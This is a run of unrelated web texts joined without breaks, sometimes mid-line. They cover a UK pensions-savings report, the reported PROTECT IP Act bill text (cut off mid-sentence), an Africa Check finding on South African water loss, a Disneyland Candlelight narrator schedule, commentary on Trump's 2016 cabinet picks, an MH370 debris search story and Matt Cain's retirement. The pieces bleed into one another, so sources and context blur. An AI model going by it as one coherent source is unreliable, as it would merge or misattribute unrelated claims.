Dr Nigel Keohane, SMF deputy director and author of the report, titled Jam Tomorrow?, said the state will need to "nudge, prod and regulate" people into managing their personal income and wealth.
He said: "That means considering policies like compulsory pensions saving, low-risk pension products and income-contingent loans for childcare."
Steve Gay, director of life, savings and protection at the Association of British Insurers (ABI), said the report raised some "interesting ideas" about how to engage people in saving.
He said: "Closing the UK's savings gap is one of the biggest challenges facing our society...
"We need to think of innovative ideas that will help people to save for the future. Auto-enrolment is the single biggest pension reform in the last 60 years and will bring over 10 million people into the savings habit.
"Insurers have a crucial role to play to meet this challenge and the industry continues to work with Government to improve consumer confidence in pensions and to help people save for their retirement."
A Department for Work and Pensions spokeswoman said: "We want to get as many people as we can saving for their retirement but we also recognise the need for people to choose.
"For millions of people, automatic enrolment means they will be saving into a workplace pension for the first time. However, people have been given the ability to opt out if they feel at a particular time in their life that saving into a pension is not right for them."
Free copy of the Telegraph Guide to Retirement written by Emma Simon - order your hardcopy or download it today.[Congressional Bills 112th Congress] [From the U.S. Government Publishing Office] [S. 968 Reported in Senate (RS)] Calendar No. 70 112th CONGRESS 1st Session S. 968 To prevent online threats to economic creativity and theft of intellectual property, and for other purposes. _______________________________________________________________________ IN THE SENATE OF THE UNITED STATES May 12, 2011 Mr. Leahy (for himself, Mr. Hatch, Mr. Grassley, Mr. Schumer, Mrs. Feinstein, Mr. Whitehouse, Mr. Graham, Mr. Kohl, Mr. Coons, Mr. Blumenthal, Ms. Klobuchar, Mr. Franken, Mr. Blunt, Mr. Alexander, Mrs. Gillibrand, and Mr. Rubio) introduced the following bill; which was read twice and referred to the Committee on the Judiciary May 26, 2011 Reported by Mr. Leahy, with an amendment [Strike out all after the enacting clause and insert the part printed in italic] _______________________________________________________________________ A BILL To prevent online threats to economic creativity and theft of intellectual property, and for other purposes. Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled, <DELETED>SECTION 1. SHORT TITLE.</DELETED> <DELETED> This Act may be cited as the ``Preventing Real Online Threats to Economic Creativity and Theft of Intellectual Property Act of 2011'' or the ``PROTECT IP Act of 2011''.</DELETED> <DELETED>SEC. 2. DEFINITIONS.</DELETED> <DELETED> For purposes of this Act--</DELETED> <DELETED> (1) the term ``domain name'' has the same meaning as in section 45 of the Lanham Act (15 U.S.C. 1127);</DELETED> <DELETED> (2) the term ``domain name system server'' means a server or other mechanism used to provide the Internet protocol address associated with a domain name;</DELETED> <DELETED> (3) the term ``financial transaction provider'' has the same meaning as in section 5362(4) of title 31, United States Code;</DELETED> <DELETED> (4) the term ``information location tool'' has the same meaning as described in subsection (d) of section 512 of title 17, United States Code;</DELETED> <DELETED> (5) the term ``Internet advertising service'' means a service that for compensation sells, purchases, brokers, serves, inserts, verifies, or clears the placement of an advertisement, including a paid or sponsored search result, link, or placement that is rendered in viewable form for any period of time on an Internet site;</DELETED> <DELETED> (6) the term ``Internet site'' means the collection of digital assets, including links, indexes, or pointers to digital assets, accessible through the Internet that are addressed relative to a common domain name;</DELETED> <DELETED> (7) the term ``Internet site dedicated to infringing activities'' means an Internet site that--</DELETED> <DELETED> (A) has no significant use other than engaging in, enabling, or facilitating the--</DELETED> <DELETED> (i) reproduction, distribution, or public performance of copyrighted works, in complete or substantially complete form, in a manner that constitutes copyright infringement under section 501 of title 17, United States Code;</DELETED> <DELETED> (ii) violation of section 1201 of title 17, United States Code; or</DELETED> <DELETED> (iii) sale, distribution, or promotion of goods, services, or materials bearing a counterfeit mark, as that term is defined in section 34(d) of the Lanham Act; or</DELETED> <DELETED> (B) is designed, operated, or marketed by its operator or persons operating in concert with the operator, and facts or circumstances suggest is used, primarily as a means for engaging in, enabling, or facilitating the activities described under clauses (i), (ii), or (iii) of subparagraph (A);</DELETED> <DELETED> (8) the term ``Lanham Act'' means the Act entitled ``An Act to provide for the registration and protection of trademarks used in commerce, to carry out the provisions of certain international conventions, and for other purposes'', approved July 5, 1946 (commonly referred to as the ``Trademark Act of 1946'' or the ``Lanham Act'');</DELETED> <DELETED> (9) the term ``nondomestic domain name'' means a domain name for which the domain name registry that issued the domain name and operates the relevant top level domain, and the domain name registrar for the domain name, are not located in the United States;</DELETED> <DELETED> (10) the term ``owner'' or ``operator'' when used in connection with an Internet site shall include, respectively, any owner of a majority interest in, or any person with authority to operate, such Internet site; and</DELETED> <DELETED> (11) the term ``qualifying plaintiff'' means-- </DELETED> <DELETED> (A) the Attorney General of the United States; or</DELETED> <DELETED> (B) an owner of an intellectual property right, or one authorized to enforce such right, harmed by the activities of an Internet site dedicated to infringing activities occurring on that Internet site.</DELETED> <DELETED>SEC. 3. ENHANCING ENFORCEMENT AGAINST ROGUE WEBSITES OPERATED AND REGISTERED OVERSEAS.</DELETED> <DELETED> (a) Commencement of an Action.--</DELETED> <DELETED> (1) In personam.--The Attorney General may commence an in personam action against--</DELETED> <DELETED> (A) a registrant of a nondomestic domain name used by an Internet site dedicated to infringing activities; or</DELETED> <DELETED> (B) an owner or operator of an Internet site dedicated to infringing activities accessed through a nondomestic domain name.</DELETED> <DELETED> (2) In rem.--If through due diligence the Attorney General is unable to find a person described in subparagraphs (A) or (B) of paragraph (1), or no such person found has an address within a judicial district of the United States, the Attorney General may commence an in rem action against a nondomestic domain name used by an Internet site dedicated to infringing activities.</DELETED> <DELETED> (b) Orders of the Court.--</DELETED> <DELETED> (1) In general.--On application of the Attorney General following the commencement of an action under this section, the court may issue a temporary restraining order, a preliminary injunction, or an injunction, in accordance with rule 65 of the Federal Rules of Civil Procedure, against the nondomestic domain name used by an Internet site dedicated to infringing activities, or against a registrant of such domain name, or the owner or operator of such Internet site dedicated to infringing activities, to cease and desist from undertaking any further activity as an Internet site dedicated to infringing activities, if--</DELETED> <DELETED> (A) the domain name is used within the United States to access such Internet site; and</DELETED> <DELETED> (B) the Internet site--</DELETED> <DELETED> (i) conducts business directed to residents of the United States; and</DELETED> <DELETED> (ii) harms holders of United States intellectual property rights.</DELETED> <DELETED> (2) Determination by the court.--For purposes of determining whether an Internet site conducts business directed to residents of the United States under paragraph (1)(B)(i), a court may consider, among other indicia, whether--</DELETED> <DELETED> (A) the Internet site is providing goods or services described in section 2(7) to users located in the United States;</DELETED> <DELETED> (B) there is evidence that the Internet site is not intended to provide--</DELETED> <DELETED> (i) such goods and services to users located in the United States;</DELETED> <DELETED> (ii) access to such goods and services to users located in the United States; and</DELETED> <DELETED> (iii) delivery of such goods and services to users located in the United States;</DELETED> <DELETED> (C) the Internet site has reasonable measures in place to prevent such goods and services from being accessed from or delivered to the United States;</DELETED> <DELETED> (D) the Internet site offers services obtained in the United States; and</DELETED> <DELETED> (E) any prices for goods and services are indicated in the currency of the United States.</DELETED> <DELETED> (c) Notice and Service of Process.--</DELETED> <DELETED> (1) In general.--Upon commencing an action under this section, the Attorney General shall send a notice of the alleged violation and intent to proceed under this Act to the registrant of the domain name of the Internet site--</DELETED> <DELETED> (A) at the postal and e-mail address appearing in the applicable publicly accessible database of registrations, if any and to the extent such addresses are reasonably available;</DELETED> <DELETED> (B) via the postal and e-mail address of the registrar, registry, or other domain name registration authority that registered or assigned the domain name, to the extent such addresses are reasonably available; and</DELETED> <DELETED> (C) in any other such form as the court finds necessary, including as may be required by Rule 4(f) of the Federal Rules of Civil Procedure.</DELETED> <DELETED> (2) Rule of construction.--For purposes of this section, the actions described in this subsection shall constitute service of process.</DELETED> <DELETED> (d) Required Actions Based on Court Orders.--</DELETED> <DELETED> (1) Service.--A Federal law enforcement officer, with the prior approval of the court, may serve a copy of a court order issued pursuant to this section on similarly situated entities within each class described in paragraph (2). Proof of service shall be filed with the court.</DELETED> <DELETED> (2) Reasonable measures.--After being served with a copy of an order pursuant to this subsection:</DELETED> <DELETED> (A) Operators.--</DELETED> <DELETED> (i) In general.--An operator of a nonauthoritative domain name system server shall take the least burdensome technically feasible and reasonable measures designed to prevent the domain name described in the order from resolving to that domain name's Internet protocol address, except that--</DELETED> <DELETED> (I) such operator shall not be required--</DELETED> <DELETED> (aa) other than as directed under this subparagraph, to modify its network, software, systems, or facilities;</DELETED> <DELETED> (bb) to take any measures with respect to domain name lookups not performed by its own domain name server or domain name system servers located outside the United States; or</DELETED> <DELETED> (cc) to continue to prevent access to a domain name to which access has been effectively disable by other means; and</DELETED> <DELETED> (II) nothing in this subparagraph shall affect the limitation on the liability of such an operator under section 512 of title 17, United States Code.</DELETED> <DELETED> (ii) Text of notice.--The Attorney General shall prescribe the text of the notice displayed to users or customers of an operator taking an action pursuant to this subparagraph. Such text shall specify that the action is being taken pursuant to a court order obtained by the Attorney General.</DELETED> <DELETED> (B) Financial transaction providers.--A financial transaction provider shall take reasonable measures, as expeditiously as reasonable, designed to prevent, prohibit, or suspend its service from completing payment transactions involving customers located within the United States and the Internet site associated with the domain name set forth in the order.</DELETED> <DELETED> (C) Internet advertising services.--An Internet advertising service that contracts with the Internet site associated with the domain name set forth in the order to provide advertising to or for that site, or which knowingly serves advertising to or for such site, shall take technically feasible and reasonable measures, as expeditiously as reasonable, designed to--</DELETED> <DELETED> (i) prevent its service from providing advertisements to the Internet site associated with such domain name; or</DELETED> <DELETED> (ii) cease making available advertisements for that site, or paid or sponsored search results, links or other placements that provide access to the domain name.</DELETED> <DELETED> (D) Information location tools.--An information location tool shall take technically feasible and reasonable measures, as expeditiously as possible, to--</DELETED> <DELETED> (i) remove or disable access to the Internet site associated with the domain name set forth in the order; or</DELETED> <DELETED> (ii) not serve a hypertext link to such Internet site.</DELETED> <DELETED> (3) Communication with users.--Except as provided under paragraph (2)(A)(ii), an entity taking an action described in this subsection shall determine whether and how to communicate such action to the entity's users or customers.</DELETED> <DELETED> (4) Rule of construction.--For purposes of an action commenced under this section, the obligations of an entity described in this subsection shall be limited to the actions set out in each paragraph or subparagraph applicable to such entity, and no order issued pursuant to this section shall impose any additional obligations on, or require additional actions by, such entity.</DELETED> <DELETED> (5) Actions pursuant to court order.--</DELETED> <DELETED> (A) Immunity from suit.--No cause of action shall lie in any Federal or State court or administrative agency against any entity receiving a court order issued under this subsection, or against any director, officer, employee, or agent thereof, for any act reasonably designed to comply with this subsection or reasonably arising from such order, other than in an action pursuant to subsection (e).</DELETED> <DELETED> (B) Immunity from liability.--Any entity receiving an order under this subsection, and any director, officer, employee, or agent thereof, shall not be liable to any party for any acts reasonably designed to comply with this subsection or reasonably arising from such order, other than in an action pursuant to subsection (e), and any actions taken by customers of such entity to circumvent any restriction on access to the Internet domain instituted pursuant to this subsection or any act, failure, or inability to restrict access to an Internet domain that is the subject of a court order issued pursuant to this subsection despite good faith efforts to do so by such entity shall not be used by any person in any claim or cause of action against such entity, other than in an action pursuant to subsection (e).</DELETED> <DELETED> (e) Enforcement of Orders.--</DELETED> <DELETED> (1) In general.--In order to compel compliance with this section, the Attorney General may bring an action for injunctive relief against any party receiving a court order issued pursuant to this section that knowingly and willfully fails to comply with such order.</DELETED> <DELETED> (2) Rule of construction.--The authority granted the Attorney General under paragraph (1) shall be the sole legal remedy for enforcing the obligations under this section of any entity described in subsection (d).</DELETED> <DELETED> (3) Defense.--A defendant in an action under paragraph (1) may establish an affirmative defense by showing that the defendant does not have the technical means to comply with the subsection without incurring an unreasonable economic burden, or that the order is inconsistent with this Act. This showing shall serve as a defense only to the extent of such inability to comply or to the extent of such inconsistency.</DELETED> <DELETED> (f) Modification or Vacation of Orders.--</DELETED> <DELETED> (1) In general.--At any time after the issuance of an order under subsection (b), a motion to modify, suspend, or vacate the order may be filed by--</DELETED> <DELETED> (A) any person, or owner or operator of property, bound by the order;</DELETED> <DELETED> (B) any registrant of the domain name, or the owner or operator of the Internet site subject to the order;</DELETED> <DELETED> (C) any domain name registrar or registry that has registered or assigned the domain name of the Internet site subject to the order; or</DELETED> <DELETED> (D) any entity that has received a copy of an order pursuant to subsection (d) requiring such entity to take action prescribed in that subsection.</DELETED> <DELETED> (2) Relief.--Relief under this subsection shall be proper if the court finds that--</DELETED> <DELETED> (A) the Internet site associated with the domain name subject to the order is no longer, or never was, an Internet site dedicated to infringing activities; or</DELETED> <DELETED> (B) the interests of justice require that the order be modified, suspended, or vacated.</DELETED> <DELETED> (3) Consideration.--In making a relief determination under paragraph (2), a court may consider whether the domain name has expired or has been re-registered by a different party.</DELETED> <DELETED> (g) Related Actions.--The Attorney General, if alleging that an Internet site previously adjudicated to be an Internet site dedicated to infringing activities is accessible or has been reconstituted at a different domain name, may commence a related action under this section against the additional domain name in the same judicial district as the previous action.</DELETED> <DELETED>SEC. 4. ELIMINATING THE FINANCIAL INCENTIVE TO STEAL INTELLECTUAL PROPERTY ONLINE.</DELETED> <DELETED> (a) Commencement of an Action.--</DELETED> <DELETED> (1) In personam.--A qualifying plaintiff may commence an in personam action against--</DELETED> <DELETED> (A) a registrant of a domain name used by an Internet site dedicated to infringing activities; or</DELETED> <DELETED> (B) an owner or operator of an Internet site dedicated to infringing activities accessed through a domain name.</DELETED> <DELETED> (2) In rem.--If through due diligence a qualifying plaintiff is unable to find a person described in subparagraphs (A) or (B) of paragraph (1), or no such person found has an address within a judicial district of the United States, the Attorney General may commence an in rem action against a domain name used by an Internet site dedicated to infringing activities.</DELETED> <DELETED> (b) Orders of the Court.--</DELETED> <DELETED> (1) In general.--On application of a qualifying plaintiff following the commencement of an action under this section, the court may issue a temporary restraining order, a preliminary injunction, or an injunction, in accordance with rule 65 of the Federal Rules of Civil Procedure, against the domain name used by an Internet site dedicated to infringing activities, or against a registrant of such domain name, or the owner or operator of such Internet site dedicated to infringing activities, to cease and desist from undertaking any further activity as an Internet site dedicated to infringing activities, if--</DELETED> <DELETED> (A) the domain name is registered or assigned by a domain name registrar or domain name registry that located or doing business in the United States; or</DELETED> <DELETED> (B)(i) the domain name is used within the United States to access such Internet site; and</DELETED> <DELETED> (ii) the Internet site--</DELETED> <DELETED> (I) conducts business directed to residents of the United States; and</DELETED> <DELETED> (II) harms holders of United States intellectual property rights.</DELETED> <DELETED> (2) Determination by the court.--For purposes of determining whether an Internet site conducts business directed to residents of the United States under paragraph (1)(B)(ii)(I), a court may consider, among other indicia, whether--</DELETED> <DELETED> (A) the Internet site is providing goods or services described in section 2(7) to users located in the United States;</DELETED> <DELETED> (B) there is evidence that the Internet site is not intended to provide--</DELETED> <DELETED> (i) such goods and services to users located in the United States;</DELETED> <DELETED> (ii) access to such goods and services to users located in the United States; and</DELETED> <DELETED> (iii) delivery of such goods and services to users located in the United States;</DELETED> <DELETED> (C) the Internet site has reasonable measures in place to prevent such goods and services from being accessed from or delivered to the United States;</DELETED> <DELETED> (D) the Internet site offers services obtained in the United States; and</DELETED> <DELETED> (E) any prices for goods and services are indicated in the currency of the United States.</DELETED> <DELETED> (c) Notice and Service of Process.--</DELETED> <DELETED> (1) In general.--Upon commencing an action under this section, the qualifying plaintiff shall send a notice of the alleged violation and intent to proceed under this Act to the registrant of the domain name of the Internet site-- </DELETED> <DELETED> (A) at the postal and e-mail address appearing in the applicable publicly accessible database of registrations, if any and to the extent such addresses are reasonably available;</DELETED> <DELETED> (B) via the postal and e-mail address of the registrar, registry, or other domain name registration authority that registered or assigned the domain name, to the extent such addresses are reasonably available; and</DELETED> <DELETED> (C) in any other such form as the court finds necessary, including as may be required by Rule 4(f) of the Federal Rules of Civil Procedure.</DELETED> <DELETED> (2) Rule of construction.--For purposes of this section, the actions described in this subsection shall constitute service of process.</DELETED> <DELETED> (d) Required Actions Based on Court Orders.--</DELETED> <DELETED> (1) Service.--A qualifying plaintiff, with the prior approval of the court, may, serve a copy of a court order issued pursuant to this section on similarly situated entities within each class described in paragraph (2). Proof of service shall be filed with the court.</DELETED> <DELETED> (2) Reasonable measures.--After being served with a copy of an order pursuant to this subsection:</DELETED> <DELETED> (A) Financial transaction providers.--A financial transaction provider shall take reasonable measures, as expeditiously as reasonable, designed to prevent, prohibit, or suspend its service from completing payment transactions involving customers located within the United States and the Internet site associated with the domain name set forth in the order.</DELETED> <DELETED> (B) Internet advertising services.--An Internet advertising service that contracts with the Internet site associated with the domain name set forth in the order to provide advertising to or for that site, or which knowingly serves advertising to or for such site, shall take technically feasible and reasonable measures, as expeditiously as reasonable, designed to--</DELETED> <DELETED> (i) prevent its service from providing advertisements to the Internet site associated with such domain name; or</DELETED> <DELETED> (ii) cease making available advertisements for that site, or paid or sponsored search results, links, or placements that provide access to the domain name.</DELETED> <DELETED> (3) Communication with users.--An entity taking an action described in this subsection shall determine how to communicate such action to the entity's users or customers.</DELETED> <DELETED> (4) Rule of construction.--For purposes of an action commenced under this section, the obligations of an entity described in this subsection shall be limited to the actions set out in each paragraph or subparagraph applicable to such entity, and no order issued pursuant to this section shall impose any additional obligations on, or require additional actions by, such entity.</DELETED> <DELETED> (5) Actions pursuant to court order.--</DELETED> <DELETED> (A) Immunity from suit.--No cause of action shall lie in any Federal or State court or administrative agency against any entity receiving a court order issued under this subsection, or against any director, officer, employee, or agent thereof, for any act reasonably designed to comply with this subsection or reasonably arising from such order, other than in an action pursuant to subsection (e).</DELETED> <DELETED> (B) Immunity from liability.--Any entity receiving an order under this subsection, and any director, officer, employee, or agent thereof, shall not be liable to any party for any acts reasonably designed to comply with this subsection or reasonably arising from such order, other than in an action pursuant to subsection (e), and any actions taken by customers of such entity to circumvent any restriction on access to the Internet domain instituted pursuant to this subsection or any act, failure, or inability to restrict access to an Internet domain that is the subject of a court order issued pursuant to this subsection despite good faith efforts to do so by such entity shall not be used by any person in any claim or cause of action against such entity, other than in an action pursuant to subsection (e).</DELETED> <DELETED> (e) Enforcement of Orders.--</DELETED> <DELETED> (1) In general.--In order to compel compliance with this section, the qualifying plaintiff may bring an action for injunctive relief against any party receiving a court order issued pursuant to this section that knowingly and willfully fails to comply with such order.</DELETED> <DELETED> (2) Rule of construction.--The authority granted a qualifying plaintiff under paragraph (1) shall be the sole legal remedy for enforcing the obligations under this section of any entity described in subsection (d).</DELETED> <DELETED> (3) Defense.--A defendant in an action commenced under paragraph (1) may establish an affirmative defense by showing that the defendant does not have the technical means to comply with the subsection without incurring an unreasonable economic burden, or that the order is inconsistent with this Act. This showing shall serve as a defense only to the extent of such inability to comply or to the extent of such inconsistency.</DELETED> <DELETED> (f) Modification or Vacation of Orders.--</DELETED> <DELETED> (1) In general.--At any time after the issuance of an order under subsection (b), a motion to modify, suspend, or vacate the order may be filed by--</DELETED> <DELETED> (A) any person, or owner or operator of property, bound by the order;</DELETED> <DELETED> (B) any registrant of the domain name, or the owner or operator of the Internet site subject to the order;</DELETED> <DELETED> (C) any domain name registrar or registry that has registered or assigned the domain name of the Internet site subject to the order; or</DELETED> <DELETED> (D) any entity that has received a copy of an order pursuant to subsection (d) requiring such entity to take action prescribed in that subsection.</DELETED> <DELETED> (2) Relief.--Relief under this subsection shall be proper if the court finds that--</DELETED> <DELETED> (A) the Internet site associated with the domain name subject to the order is no longer, or never was, dedicated to infringing activities as defined in this Act; or</DELETED> <DELETED> (B) the interests of justice require that the order be modified, suspended, or vacated.</DELETED> <DELETED> (3) Consideration.--In making a relief determination under paragraph (2), a court may consider whether the domain name has expired or has been re-registered by a different party.</DELETED> <DELETED> (g) Related Actions.--A qualifying plaintiff, if alleging that an Internet site previously adjudicated to be an Internet site dedicated to infringing activities is accessible or has been reconstituted at a different domain name, may commence a related action under this section against the additional domain name in the same judicial district as the previous action.</DELETED> <DELETED>SEC. 5. VOLUNTARY ACTION AGAINST WEBSITES STEALING AMERICAN INTELLECTUAL PROPERTY.</DELETED> <DELETED> (a) In General.--No financial transaction provider or Internet advertising service shall be liable for damages to any person for voluntarily taking any action described in section 3(d) or 4(d) with regard to an Internet site if the entity acting in good faith and based on credible evidence has a reasonable belief that the Internet site is an Internet site dedicated to infringing activities.</DELETED> <DELETED> (b) Internet Sites Engaged in Infringing Activities That Endanger the Public Health.--</DELETED> <DELETED> (1) Refusal of service.--A domain name registry, domain name registrar, financial transaction provider, information location tool, or Internet advertising service, acting in good faith and based on credible evidence, may stop providing or refuse to provide services to an infringing Internet site that endangers the public health.</DELETED> <DELETED> (2) Immunity from liability.--An entity described in paragraph (1), including its directors, officers, employees, or agents, that ceases or refused to provide services under paragraph (1) shall not be liable to any party under any Federal or State law for such action.</DELETED> <DELETED> (3) Definitions.--For purposes of this subsection--</DELETED> <DELETED> (A) the term ``adulterated'' has the same meaning as in section 501 of the Federal Food, Drug, and Cosmetic Act (21 U.S.C. 351);</DELETED> <DELETED> (B) an ``infringing Internet site that endangers the public health'' means--</DELETED> <DELETED> (i) an Internet site dedicated to infringing activities for which the counterfeit products that it offers, sells, dispenses, or distributes are controlled or non-controlled prescription medication; or</DELETED> <DELETED> (ii) an Internet site that has no significant use other than, or is designed, operated, or marketed by its operator or persons operating in concert with the operator, and facts or circumstances suggest is used, primarily as a means for--</DELETED> <DELETED> (I) offering, selling, dispensing, or distributing any controlled or non-controlled prescription medication, and does so regularly without a valid prescription; or</DELETED> <DELETED> (II) offering, selling, dispensing, or distributing any controlled or non-controlled prescription medication, and does so regularly for medication that is adulterated or misbranded;</DELETED> <DELETED> (C) the term ``misbranded'' has the same meaning as in section 502 of the Federal Food, Drug, and Cosmetic Act (21 U.S.C. 352); and</DELETED> <DELETED> (D) the term ``valid prescription'' has the same meaning as in section 309(e)(2)(A) of the Controlled Substances Act (21 U.S.C. 829(e)(2)(A)).</DELETED> <DELETED>SEC. 6. SAVINGS CLAUSES.</DELETED> <DELETED> (a) Rule of Construction Relating to Civil and Criminal Remedies.--Nothing in this Act shall be construed to limit or expand civil or criminal remedies available to any person (including the United States) for infringing activities on the Internet pursuant to any other Federal or State law.</DELETED> <DELETED> (b) Rule of Construction Relating to Vicarious or Contributory Liability.--Nothing in this Act shall be construed to enlarge or diminish vicarious or contributory liability for any cause of action available under title 17, United States Code, including any limitations on liability under section 512 of such title 17, or to create an obligation to take action pursuant to section 5 of this Act.</DELETED> <DELETED> (c) Relationship With Section 512 of Title 17.--Nothing in this Act, and no order issued or served pursuant to sections 3 or 4 of this Act, shall serve as a basis for determining the application of section 512 of title 17, United States Code.</DELETED> <DELETED>SEC. 7. GUIDELINES AND STUDIES.</DELETED> <DELETED> (a) Guidelines.--The Attorney General shall--</DELETED> <DELETED> (1) publish procedures developed in consultation with other relevant law enforcement agencies, including the United States Immigration and Customs Enforcement, to receive information from the public about Internet sites dedicated to infringing activities;</DELETED> <DELETED> (2) provide guidance to intellectual property rights holders about what information such rights holders should provide law enforcement agencies to initiate an investigation pursuant to this Act;</DELETED> <DELETED> (3) provide guidance to intellectual property rights holders about how to supplement an ongoing investigation initiated pursuant to this Act;</DELETED> <DELETED> (4) establish standards for prioritization of actions brought under this Act;</DELETED> <DELETED> (5) provide appropriate resources and procedures for case management and development to affect timely disposition of actions brought under this Act; and</DELETED> <DELETED> (6) develop a deconfliction process in consultation with other law enforcement agencies, including the United States Immigration and Customs Enforcement, to coordinate enforcement activities brought under this Act.</DELETED> <DELETED> (b) Reports.--</DELETED> <DELETED> (1) Report on effectiveness of certain measures.-- Not later than 1 year after the date of enactment of this Act, the Secretary of Commerce, in coordination with the Attorney General, the Secretary of Homeland Security, and the Intellectual Property Enforcement Coordinator, shall conduct a study and report to the Committee on the Judiciary of the Senate and the Committee on the Judiciary of the House of Representatives on the following:</DELETED> <DELETED> (A) An assessment of the effects, if any, of the implementation of section 3(d)(2)(A) on the accessibility of Internet sites dedicated to infringing activity.</DELETED> <DELETED> (B) An assessment of the effects, |
Conclusion: No conclusive data available on how much water SA municipalities lose
Data on municipal water loss is hard to find. A specially commissioned study in 2012 found that the share of water lost back then ran at an average of 37%.
Africa Check searched high and low for current figures. We consulted the South African Local Government Association, Statistics South Africa and tried to access the water services development plans municipalities are meant to produce annually and make publically available.
These sources point to inadequate record-keeping by South African municipalities. Given that the institutions themselves don’t seem to know how much water they are losing, we have to rate the claim that many municipalities exceed the national water loss average of 37% as unproven.
Additional reading
© Copyright Africa Check 2019. You may reproduce this piece or content from it for the purpose of reporting and/or discussing news and current events. This is subject to: Crediting Africa Check in the byline, keeping all hyperlinks to the sources used and adding this sentence at the end of your publication: “This report was written by Africa Check, a non-partisan fact-checking organisation. View the original piece on their website", with a link back to this page.We’ve got big news to share with you today regarding the expanded schedule for the 2012 Disneyland Candlelight Ceremony and Processional. As we first told you in August, Candlelight is being extended to a total of 20 nights at Disneyland park this year, for the first time in its history, with two performances each night. Below is the list of currently scheduled narrators for shows from December 1-20:
Dec. 1-2: Dennis Haysbert (actor)*
Dec. 3-5: Kurt Russell (actor and Disney Legend)
Dec. 6-8: Edward James Olmos (actor)
Dec. 9-11: Lou Diamond Phillips (actor)
Dec. 12-13: Dick Van Dyke (actor and Disney Legend)
Dec. 14: Dennis Haysbert (actor)
Dec. 15-16: Patricia Heaton (actress)
Dec. 17-19: Molly Ringwald (actress)
Dec. 20: John Stamos (actor)
Please note that narrators are subject to change without notice.
*December 1-2 performances are by invitation only, as they have been since 1958, when Walt Disney first held these private celebrations to thank partners in the community for their support throughout the year.The week after the election, Donald Trump’s transition team started falling apart, with internal divisions forcing some members to resign, while others were “ purged ” from the operation altogether. It looked like it might be a while before the president-elect’s cabinet would come together.Two weeks later, however, the cabinet announcements are starting to come together a little more quickly, and as of this morning, roughly half of the Republican administration’s top posts are no longer blank:Vice President: Gov. Mike PenceChief of Staff: RNC Chairman Reince PriebusChief Strategist: Steve BannonAttorney General: Sen. Jeff SessionsHousing and Urban Development Secretary: Ben Carson (probably)Ambassador to the United Nations: Gov. Nikki HaleyEducation Secretary: Betsy DeVosHealth and Human Services Secretary: Rep. Tom PriceTransportation Secretary: Elaine ChaoTreasury Secretary: Steven MnuchinCommerce Secretary: Wilbur RossWith this list in mind, we can start to draw some conclusions about the kinds of qualities Donald Trump considers important.. Politico reported the other day, “Donald Trump campaigned as a champion of the ‘forgotten man’ and won the White House on the strength of his support among the white working class. So far, he’s stacking his administration with masters of the universe.” It’s obviously a fair point: Trump’s cabinet is already stacked with billionaires (DeVos and Ross) and millionaires (Mnuchin and Chao).With folks like Mitt Romney also under consideration, the Conservative Country Club Crowd may soon grow bigger.. The Huffington Post recently noted, “Trump’s roster of key White House advisers and Cabinet officials could, in the end, rank among the least experienced in recent presidential history.” That’s true: most of the folks on the incoming administration’s list – including the president-elect, by the way – have no governing experience, no experience in the subject area they’ll oversee, no experience managing a large agency, or all of the above.Norman Eisen, a former ambassador who worked on President Obama’s transition team in 2008, told the Huffington Post, “Government is like any other profession – it requires expertise. I don’t think you’d want that gang, if they had a similar lack of expertise in surgery, operating on you with that level of comparable medical experience. And the same is true in government.” Trump, evidently, disagrees.. For all of Trump’s pre-election talk about “draining the swamp” in Washington, many of his cabinet selections suggest he didn’t mean it.Elaine Chao, for example, is probably the single most qualified nominee on Trump’s roster, but she’s also a classic Washington insider and corporate board member. Chao is exactly the kind of person the president-elect ran against as a candidate, and yet, here we are.. I realize some of the political world is still preoccupied with the idea that Trump is a populist, ready to serve as The People’s champion, but one of these days, the charade should end. The president-elect is choosing wealthy far-right donors and far-right insiders for his cabinet because … wait for it … the populist shtick was never real.He is raising money for a private search of the area he thinks is more likely
Mr Chillit believes the plane's wreckage is far north of current search area
He posted images of the possible wreckage on his website on Monday
An independent investigator searching for the wreckage of MH370 claims to have found some of the debris on Google Earth.
American statistician Mike Chillit looked at waters around Saint Brandon Island, about 430 kilometres northeast of Mauritius, six months after the plane disappeared in March 2014.
He posted a series of images on his website and Twitter on Monday showing objects he believed could be pieces of the downed Boeing 777 carrying 239 people.
An independent investigator searching for the wreckage of MH370 claims to have found some of the debris on Google Earth
They were seen in waters around Saint Brandon Island, about 430 kilometres northeast of Mauritius, six months after the plane disappeared in March 2014
Mr Chillit was trying to use the position of the possible debris, with what he knows about ocean currents and temperatures, to help narrow down its resting place.
'I haven’t tried to use Google Earth for this before other than on Reunion where it picked up debris one week before the flaperon was found (in July 2015),' he told News Corp.
All debris found so far is on the east coast of Africa near Madagascar and Mozambique, but he said Saint Brandon Island was never examined.
American statistician Mike Chillit has been searching for the downed plane for more than a year
What Mr Chillit believes to be a hinged wing flap floating in the ocean
A few more pieces of debris near the island
Scientific analysis found barnacles on the flaperon likely started growing in warmer waters than were being searched.
Mr Chillit belies the Malaysia Airlines’ flight crashed much farther north than the current search site and started a petition for Prime Minister Malcolm Turnbull to move the search.
He is trying to raise money for a private search near the Batavia Seamount and Zenith Plateau off the WA coast west of Exmouth.
MH370 disappeared in March 2014 with 239 people on board
All debris found so far is on the east coast of Africa near Madagascar and Mozambique, but he said Saint Brandon Island was never examined
Scientific analysis found barnacles on a flaperon (pictured) from Reunion Island likely started growing in warmer waters than were being searched
Mr Chillit belies the Malaysia Airlines’ flight crashed much farther north than the current search site
He wants to hire deep water search specialists Williamson and Associates who applied for the MH370 contract but missed out to Dutch survey company Fugro.
'I try not to take myself too seriously, but I think this is worth investigating,' he said.
The Australian Transport Safety Bureau is preparing a report on the search that may suggest a'redefinition' of the search area.
However, there is no funding for searching beyond the current 120,000 square kilometre area and the Malaysia, China and the Australian governments don't support it unless credible new evidence emerges.
He is trying to raise money for a private search near the Batavia Seamount and Zenith Plateau off the WA coast west of ExmouthProgramming note: Watch the encore presentation of Matt Cain's perfect game from 2012 -- This Saturday, Sept. 30 immediately following Warriors basketball at 8 p.m. and Sunday morning Oct. 1, at 8 a.m. on NBC Sports Bay Area.
PHOENIX -- The Giants have spent weeks working on a plan to have Matt Cain make one final start for them this weekend. Cain announced Wednesday that Saturday's appearance will actually be the last one of his big league career.
Before the final road game of his 13th big league season, Cain held a closed-doors meeting to tell his teammates that he will retire. He announced his intentions to the media a few minutes later.
"This weekend will definitely be my last time putting on a Giants uniform, and I can't see myself going anywhere else to play with another team," Cain said. "This organization has meant so much to me and so much to my family. It's something that's dear to my heart. I'm just grateful that it's been a part of my life. I've enjoyed it. I've enjoyed it so much."
